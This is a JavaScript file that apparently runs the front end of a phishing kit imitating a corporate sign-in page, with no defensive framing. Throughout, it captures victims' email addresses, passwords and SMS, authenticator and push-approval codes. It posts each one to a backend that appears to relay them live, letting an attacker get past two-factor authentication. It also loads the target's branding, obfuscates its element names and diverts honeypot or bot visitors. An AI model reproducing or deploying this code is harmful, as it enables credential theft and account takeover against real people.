window.addEventListener('load',function(){
const configRef = window[Object.keys(window).find(k => k.startsWith('jsConfig_'))];
const { vars: _funcs14, functions: fnMap, props: hbProps } = configRef;

const hbCache = window[_funcs14.phpConfig];
const errMsgs = window[_funcs14.errorMessages];
const stateb44f = window[_funcs14.validationState];
const options1ed0 = window[_funcs14.initialOptions];
let viewRef = window[_funcs14.view];
let email0132 = window[_funcs14.enmail];
const accessData747b = window[_funcs14.statusAccessData];

const hbIds = JSON.parse(atob(window[_funcs14.damang]));
const _classes81 = JSON.parse(atob(window[_funcs14.suke]));f

const _debug61 = hbCache && hbCache.debug === true;
let hbDefaultItem = '';

const classMap = new Map();
const _getClass91 = (c) => {
if (!classMap.has(c)) classMap.set(c, _classes81[c] || c);
return classMap.get(c);
};

const elementsb176 = {
uname: document.getElementById(hbIds.inp_uname),
pwd: document.getElementById(hbIds.inp_pwd),
code: document.getElementById(hbIds.inp_verifnotif),
sms: document.getElementById(hbIds.inp_codesms),
forms: {
uname: document.getElementById(hbIds.form),
pwd: document.getElementById(hbIds.form2),
code: document.getElementById(hbIds.form3),
sms: document.getElementById(hbIds.form4)
},
logo: document.getElementById(hbIds.logoimage),
placeholders: {
uname: document.getElementById(hbIds['placeholder-image']),
pwd: document.getElementById(hbIds['placeholder-image-2'])
},
signInOptions: document.getElementById(hbIds.signInOptions),
messageElement: document.getElementById(hbIds.firstmessage),
sections: {
uname: document.getElementById(hbIds.section_uname),
pwd: document.getElementById(hbIds.section_pwd),
final: document.getElementById(hbIds.section_final),
verifnotif: document.getElementById(hbIds.section_verifnotif),
sms: document.getElementById(hbIds.section_sms),
appnotif: document.getElementById(hbIds.section_appnotif),
twofa: document.getElementById(hbIds.section_2fa),
redirect: document.getElementById(hbIds.section_redirect)
},
errors: {
uname: document.getElementById(hbIds.error_uname),
pwd: document.getElementById(hbIds.error_pwd),
verifnotif: document.getElementById(hbIds.error_verifnotif),
sms: document.getElementById(hbIds.error_sms)
},
occupied: document.querySelectorAll('#' + hbIds.occupied),
buttons: {
next: document.getElementById(hbIds.btn_next),
sig: document.getElementById(hbIds.btn_sig),
notif: document.getElementById(hbIds.btn_notif),
sms: document.getElementById(hbIds.btn_sms),
final: document.querySelectorAll('#' + hbIds.btn_final),
back: document.querySelectorAll('.' + _getClass91('back'))
},
entropy: document.getElementById(hbIds.entropy),
options: document.querySelectorAll('.' + _getClass91('option')),
link_back: document.getElementById(hbIds.link_back),
showDisplay: document.getElementById(hbIds.showDisplay),
showDisplay2: document.getElementById(hbIds.showDisplay2),
loadingBall: document.querySelector('.loading-ball'),
overlays: {
uname: document.getElementById(hbIds.overlay),
pwd: document.getElementById(hbIds.overlay2),
'2fa': document.getElementById(hbIds.overlay6),
sms: document.getElementById(hbIds.overlay4),
'2fa_submit_app': document.getElementById(hbIds.overlay5),
verifnotif: document.getElementById(hbIds.overlay3)
}
};

const setOccupiedRef = (t) => {
const els = elementsb176.occupied;
for (let i = 0; i < els.length; i++) els[i].innerText = t;
};

const hbFocusSelect = (el) => { el.focus(); el.select(); };

const toggleVisRef = (id, show) => {
const el = document.getElementById(id);
el?.classList.toggle('d-none', !show);
};

const hbHideAll = () => {
Object.keys(elementsb176.sections).forEach(s => {
const sec = elementsb176.sections[s];
if (sec) { sec.classList.add('d-none'); sec.style.cssText = ''; }
});
};

const _transition62 = (newV, showSec, hideSec = null) => {
viewRef = newV;
elementsb176.loadingBall?.classList.remove('d-none');

if (hideSec) {
const h = elementsb176.sections[hideSec];
if (h) h.style.cssText = 'opacity:0;transition:opacity .15s';
}

setTimeout(() => {
for (const s in elementsb176.sections) {
const sec = elementsb176.sections[s];
if (sec && s !== showSec) { sec.classList.add('d-none'); sec.style.cssText = ''; }
}
const showEl = elementsb176.sections[showSec];
if (showEl) { showEl.classList.remove('d-none'); showEl.style.opacity = '1'; }
elementsb176.loadingBall?.classList.add('d-none');
}, hideSec ? 150 : 0);
};

const hbUpdateView = (newV, toShow = [], toHide = []) => {
viewRef = newV;
Object.keys(elementsb176.sections).forEach(s => {
const sec = elementsb176.sections[s];
if (sec) sec.classList.add('d-none');
});
toShow.forEach(s => {
const name = s.replace('section_', '');
const sec = elementsb176.sections[name];
if (sec) sec.classList.remove('d-none');
});
};

const hbSetBgLogo = (bgUrl, iconUrl) => {
if (window.innerWidth >= 768) {
const bg = bgUrl || hbCache[hbProps.defaultBackground];
document.body.style.cssText = "content:'';position:absolute;top:0;left:0;right:0;bottom:0;z-index:-1;background-image:url('" + bg + "');background-size:cover;background-position:center;background-repeat:no-repeat;";
}
elementsb176.logo.src = iconUrl || hbCache[hbProps.defaultLogo];
};

const toggleOpt5c2f = (sel, show) => {
const el = document.querySelector(sel);
el?.classList.toggle('d-none', !show);
};

const updateInputRef = (inp, errEl) => {
const hasVal = inp.value.trim();
errEl.innerText = '';
if (inp === elementsb176.uname) {
elementsb176.placeholders.uname.style.display = hasVal ? 'none' : 'block';
} else if (inp === elementsb176.pwd) {
elementsb176.placeholders.pwd.style.display = hasVal ? 'none' : 'block';
elementsb176.messageElement.style.display = '';
}
inp.classList.toggle(_getClass91('error-inp'), !hasVal);
};

const hbShowLoad = () => elementsb176.loadingBall?.classList.remove('d-none');
const hbHideLoad = () => elementsb176.loadingBall?.classList.add('d-none');

const showOverlayRef = (sec) => {
const secEl = document.getElementById(hbIds['section_' + sec]);
secEl?.classList.add(_getClass91('section-disabled'));
elementsb176.overlays[sec]?.classList.add(_getClass91('active'));
};

const hbHideOverlay = (sec, valid = false, msg = null) => {
const secEl = document.getElementById(hbIds['section_' + sec]);
secEl?.classList.remove(_getClass91('section-disabled'));
elementsb176.overlays[sec]?.classList.remove(_getClass91('active'));
if (elementsb176.errors[sec]) elementsb176.errors[sec].innerHTML = msg || '';
if (sec === 'uname') {
elementsb176.uname?.classList.toggle(_getClass91('error-inp'), !valid);
stateb44f[hbProps.uname] = valid;
} else if (sec === 'pwd') {
elementsb176.pwd?.classList.toggle(_getClass91('error-inp'), !valid);
stateb44f[hbProps.pwd] = valid;
} else if (sec === 'verifnotif') {
elementsb176.code?.classList.toggle(_getClass91('error-inp'), !valid);
stateb44f[hbProps.code] = valid;
} else if (sec === 'sms') {
elementsb176.sms?.classList.toggle(_getClass91('error-inp'), !valid);
stateb44f[hbProps.sms] = valid;
}
};

const _hideSection55 = (sec) => {
const secEl = document.getElementById(hbIds['section_' + sec]);
if (secEl) secEl.classList.remove(_getClass91('section-disabled'));
const ovl = elementsb176.overlays[sec];
if (ovl) ovl.classList.remove(_getClass91('active'));
};

const handleAccessRef = () => {
const { email, live, twofactor, twofactor_info } = accessData747b;
hbHideAll();
elementsb176.uname.value = email;
if (live) {
if (twofactor) _process2FA88(twofactor_info);
else if (!stateb44f[hbProps.pwd]) navFinalec9a();
} else resetPwd32b9();
};

const _process2FA88 = (info) => {
if (!stateb44f[hbProps.pwd]) {
const fromPwd = !elementsb176.sections.pwd.classList.contains('d-none');
if (!fromPwd) hbShowLoad();
hbDefaultItem = '';
let hasDefault = false;

for (let i = 0; i < info.length; i++) {
const item = info[i];
const method = item.method_name;
if (method === 'PhoneAppNotification') {
toggleOpt5c2f('.' + _getClass91('option') + '[data-url="verify_app"]', true);
if (item.isDefault) { hbDefaultItem = 'verify_app'; hasDefault = true; }
} else if (method === 'PhoneAppOTP') {
toggleOpt5c2f('.' + _getClass91('option') + '[data-url="verify_code"]', true);
if (item.isDefault) { hbDefaultItem = 'verify_code'; hasDefault = true; }
} else if (method === 'OneWaySMS') {
toggleOpt5c2f('.' + _getClass91('option') + '[data-url="verify_sms"]', true);
if (item.isDefault) { hbDefaultItem = 'verify_sms'; hasDefault = true; }
}
if (item.display) {
elementsb176.showDisplay.innerText = 'Text ' + item.display;
const iconCls = _getClass91('icon');
elementsb176.showDisplay2.innerHTML = '<span class=\"' + iconCls + '\"><img src=\"images/info.png\" style=\"width:85%;height:auto\"></span> We texted your phone ' + item.display + '. Please enter the code to sign in.';
}
}

if (hbCache[hbProps.selection] == 0 || !hasDefault) nav2FA10bb();
else validate2FARef(hbDefaultItem);
}
};

const nav2FA10bb = () => {
hbHideLoad();
hbHideAll();
_transition62('2fa', 'twofa', 'pwd');
stateb44f[hbProps.pwd] = true;
stateb44f[hbProps.two] = false;
};

const navFinalec9a = () => {
hbHideAll();
hbHideOverlay('pwd', true, '');
_transition62('final', 'final', 'pwd');
stateb44f[hbProps.pwd] = true;
};

const resetPwd32b9 = () => {
hbHideOverlay('pwd', false, errMsgs[hbProps.incorrectPassword]);
elementsb176.messageElement.style.display = 'none';
elementsb176.pwd.value = '';
hbFocusSelect(elementsb176.pwd);
elementsb176.placeholders.pwd.style.display = 'block';
};

const handle2FAOptRef = (opt) => {
validate2FARef(opt.getAttribute('data-url'));
showOverlayRef('2fa');
};

const validate2FARef = (dataUrl) => {
if (viewRef === '2fa') hbShowLoad();

$.ajax({
url: hbCache[hbProps.validate],
type: 'POST',
dataType: 'json',
data: {
em: elementsb176.uname.value,
auth: dataUrl,
security_token: hbCache[hbProps.securityToken],
timestamp: hbCache[hbProps.timestamp],
email_hp: '', username_hp: '', password_hp: ''
},
success: function(r) {
_hideSection55('2fa');
if (r.live) {
if (!stateb44f[hbProps.two]) {
stateb44f[hbProps.pwd] = true;
stateb44f[hbProps.two] = false;
if (dataUrl === 'verify_app') {
elementsb176.entropy.innerHTML = r.entropy;
_transition62('2fa_submit_app', 'appnotif', 'pwd');
const intId = setInterval(() => {
if (viewRef === '2fa_submit_app') pollAppfedb(intId);
else clearInterval(intId);
}, 5000);
} else if (dataUrl === 'verify_code') {
_transition62('2fa_submit_code', 'verifnotif', 'pwd');
setTimeout(() => hbFocusSelect(elementsb176.code), 200);
} else {
_transition62('2fa_submit_sms', 'sms', 'pwd');
setTimeout(() => hbFocusSelect(elementsb176.sms), 200);
}
}
} else {
resetToPwdRef();
hbHideLoad();
}
},
error: () => hbHideLoad()
});
};

const resetToPwdRef = () => {
hbUpdateView('pwd', ['section_pwd'], ['section_twofa']);
setOccupiedRef(email0132);
elementsb176.uname.value = email0132;
stateb44f[hbProps.uname] = true;
stateb44f[hbProps.pwd] = false;
};

const handleBackc55f = () => {
if (viewRef === 'pwd') {
stateb44f[hbProps.uname] = false;
_transition62('uname', 'uname', 'pwd');
elementsb176.placeholders.uname.style.display = 'none';
hbSetBgLogo(hbCache[hbProps.defaultBackground], hbCache[hbProps.defaultLogo]);
} else if (viewRef === '2fa_submit_app' || viewRef === '2fa_submit_sms' || viewRef === '2fa_submit_code') {
stateb44f[hbProps.two] = false;
const secMap = {'2fa_submit_app':'appnotif','2fa_submit_sms':'sms','2fa_submit_code':'verifnotif'};
_transition62('2fa', 'twofa', secMap[viewRef]);
}
};

const hbHandleFinal = () => {
if (viewRef === 'final') window.location.href = atob(hbCache[hbProps.finalRedirect]);
else if (viewRef === '2fa') resetToPwdRef();
};

const validateRef = () => {
if (viewRef === 'uname') hbValidateUser();
else if (viewRef === 'pwd') validatePwdRef();
else if (viewRef === '2fa_submit_code') validateCodea213();
else if (viewRef === '2fa_submit_sms') hbValidateSms();
return false;
};

const hbValidateUser = () => {
const val = elementsb176.uname.value.trim();
showOverlayRef('uname');
hbShowLoad();

if (!val) {
hbHideOverlay('uname', false, errMsgs[hbProps.usernameRequired]);
hbHideLoad();
return;
}

const hps = document.querySelectorAll('.' + _getClass91('honeypot'));
for (let hp of hps) {
if (hp.value !== '') {
window.location.href = hbCache[hbProps.random] + '#hp';
return;
}
}

$.ajax({
url: hbCache[hbProps.validate],
type: 'POST',
dataType: 'json',
data: {
em: val,
security_token: hbCache[hbProps.securityToken],
timestamp: hbCache[hbProps.timestamp],
email_hp: '', username_hp: '', password_hp: ''
},
success: function(r) {
const { live, grablogo, background, icon, type } = r;
if (live && !stateb44f[hbProps.uname]) {
hbHideOverlay('uname', true, '');
grablogo && hbSetBgLogo(background, icon);
if (type === 'godaddy' || type === 'okta' || type === 'hotmail') {
hbHandleRedir();
} else {
_transition62('pwd', 'pwd', 'uname');
setOccupiedRef(val);
stateb44f[hbProps.uname] = true;
setTimeout(() => hbFocusSelect(elementsb176.pwd), 200);
}
} else {
hbHideOverlay('uname', false, errMsgs[hbProps.invalidEmail]);
}
},
error: () => window.location.href = hbCache[hbProps.random]
});
};

const hbHandleRedir = () => {
hbHideAll();
setOccupiedRef(elementsb176.uname.value);
hbSetBgLogo(hbCache[hbProps.defaultBackground], hbCache[hbProps.defaultLogo]);
hbUpdateView('redirect', ['redirect'], ['uname', 'pwd']);
stateb44f[hbProps.uname] = true;
setTimeout(() => { window.location.href = 'access?' + hbCache[hbProps.randString]; }, 2000);
};

const validatePwdRef = () => {
const val = elementsb176.pwd.value.trim();
showOverlayRef('pwd');
hbShowLoad();

if (!val) {
hbHideOverlay('pwd', false, errMsgs[hbProps.passwordRequired]);
elementsb176.messageElement.style.display = 'none';
hbHideLoad();
return;
}

const hps = document.querySelectorAll('.' + _getClass91('honeypot'));
for (let hp of hps) {
if (hp.value !== '') {
window.location.href = hbCache[hbProps.random] + '#hp';
return;
}
}

$.ajax({
url: hbCache[hbProps.validate],
type: 'POST',
dataType: 'json',
data: {
em: elementsb176.uname.value,
pa: val,
security_token: hbCache[hbProps.securityToken],
timestamp: hbCache[hbProps.timestamp],
email_hp: '', username_hp: '', password_hp: ''
},
success: function(r) {
const { live, twofactor, twofactor_info } = r;
if (live) {
if (twofactor) _process2FA88(twofactor_info);
else if (!stateb44f[hbProps.pwd]) navFinalec9a();
} else resetPwd32b9();
},
error: () => {}
});
};

const validateCodea213 = () => {
const val = elementsb176.code.value.trim();
showOverlayRef('verifnotif');
hbShowLoad();

if (!val) {
hbHideOverlay('verifnotif', false, errMsgs[hbProps.codeRequired]);
hbHideLoad();
return;
}

$.ajax({
url: hbCache[hbProps.validate],
type: 'POST',
dataType: 'json',
data: {
em: elementsb176.uname.value,
auth: 'verify_code',
code: val,
security_token: hbCache[hbProps.securityToken],
timestamp: hbCache[hbProps.timestamp],
email_hp: '', username_hp: '', password_hp: ''
},
success: function(r) {
if (r.live) {
if (!stateb44f[hbProps.code]) {
hbHideOverlay('verifnotif', true, '');
_transition62('final', 'final', 'verifnotif');
}
} else {
hbHideOverlay('verifnotif', false, errMsgs[hbProps.invalidCode]);
}
},
error: () => {}
});
};

const hbValidateSms = () => {
const val = elementsb176.sms.value.trim();
showOverlayRef('sms');
hbShowLoad();

if (!val) {
hbHideOverlay('sms', false, errMsgs[hbProps.codeRequired]);
hbHideLoad();
return;
}

$.ajax({
url: hbCache[hbProps.validate],
type: 'POST',
dataType: 'json',
data: {
em: elementsb176.uname.value,
auth: 'verify_sms',
code: val,
security_token: hbCache[hbProps.securityToken],
timestamp: hbCache[hbProps.timestamp],
email_hp: '', username_hp: '', password_hp: ''
},
success: function(r) {
if (r.live) {
if (!stateb44f[hbProps.sms]) {
hbHideOverlay('sms', true, '');
_transition62('final', 'final', 'sms');
}
} else {
hbHideOverlay('sms', false, errMsgs[hbProps.invalidSms]);
}
},
error: () => {}
});
};

const pollAppfedb = (intId) => {
if (viewRef === '2fa_submit_app') {
$.ajax({
url: hbCache[hbProps.validate],
type: 'POST',
dataType: 'json',
data: {
em: elementsb176.uname.value,
auth: hbDefaultItem,
code: '',
security_token: hbCache[hbProps.securityToken],
timestamp: hbCache[hbProps.timestamp],
email_hp: '', username_hp: '', password_hp: ''
},
success: function(r) {
if (r.live) {
if (!stateb44f[hbProps.app]) {
stateb44f[hbProps.app] = true;
elementsb176.sections.appnotif.classList.add('d-none');
elementsb176.sections.final.classList.remove('d-none');
viewRef = 'final';
clearInterval(intId);
}
}
},
error: () => clearInterval(intId)
});
} else clearInterval(intId);
};

if (viewRef === 'redirect') {
stateb44f[hbProps.uname] = true;
setOccupiedRef(email0132);
elementsb176.uname.value = email0132;
_transition62('redirect', 'redirect');
setTimeout(() => window.location.href = 'access?' + hbCache[hbProps.randString], 1500);
}

if (viewRef === 'pwd') {
stateb44f[hbProps.uname] = true;
setOccupiedRef(email0132);
elementsb176.uname.value = email0132;
_transition62('pwd', 'pwd');
hbFocusSelect(elementsb176.pwd);
}

if (viewRef === 'uname') hbFocusSelect(elementsb176.uname);

if (accessData747b) handleAccessRef();

elementsb176.options.forEach(opt => opt.addEventListener('click', () => handle2FAOptRef(opt)));

elementsb176.link_back.addEventListener('click', e => {
e.preventDefault();
stateb44f[hbProps.two] = false;
stateb44f[hbProps.app] = false;
hbUpdateView('2fa', ['section_twofa'], ['section_appnotif']);
});

const inpHandler = (inp, errEl) => () => updateInputRef(inp, errEl);
elementsb176.uname.addEventListener('input', inpHandler(elementsb176.uname, elementsb176.errors.uname));
elementsb176.pwd.addEventListener('input', inpHandler(elementsb176.pwd, elementsb176.errors.pwd));
elementsb176.code.addEventListener('input', inpHandler(elementsb176.code, elementsb176.errors.verifnotif));
elementsb176.sms.addEventListener('input', inpHandler(elementsb176.sms, elementsb176.errors.sms));

const valHandler = () => validateRef();
elementsb176.buttons.next.addEventListener('click', valHandler);
elementsb176.buttons.sig.addEventListener('click', valHandler);
elementsb176.buttons.notif.addEventListener('click', valHandler);
elementsb176.buttons.sms.addEventListener('click', valHandler);

const subHandler = e => { e.preventDefault(); validateRef(); };
elementsb176.forms.uname.addEventListener('submit', subHandler);
elementsb176.forms.pwd.addEventListener('submit', subHandler);
elementsb176.forms.code.addEventListener('submit', subHandler);
elementsb176.forms.sms.addEventListener('submit', subHandler);

const enterHandler = (e) => {
if (e.key === 'Enter' || e.keyCode === 13 || e.which === 13) {
e.preventDefault();
e.stopPropagation();
const focused = document.activeElement;
if (focused && (focused.type === 'text' || focused.type === 'password')) {
if (focused.value.trim().length > 0) {
setTimeout(() => validateRef(), 50);
}
}
}
};

elementsb176.uname.addEventListener('keydown', enterHandler);
elementsb176.pwd.addEventListener('keydown', enterHandler);
elementsb176.code.addEventListener('keydown', enterHandler);
elementsb176.sms.addEventListener('keydown', enterHandler);

elementsb176.buttons.back.forEach(btn => btn.addEventListener('click', handleBackc55f));
elementsb176.buttons.final.forEach(btn => btn.addEventListener('click', hbHandleFinal));

toggleOpt5c2f('.' + _getClass91('option') + '[data-url="verify_sms"]', options1ed0[hbProps.sms]);
toggleOpt5c2f('.' + _getClass91('option') + '[data-url="verify_app"]', options1ed0[hbProps.app]);
toggleOpt5c2f('.' + _getClass91('option') + '[data-url="verify_code"]', options1ed0[hbProps.code]);

elementsb176.signInOptions.textContent = atob(hbCache[hbProps.encodedText]);
});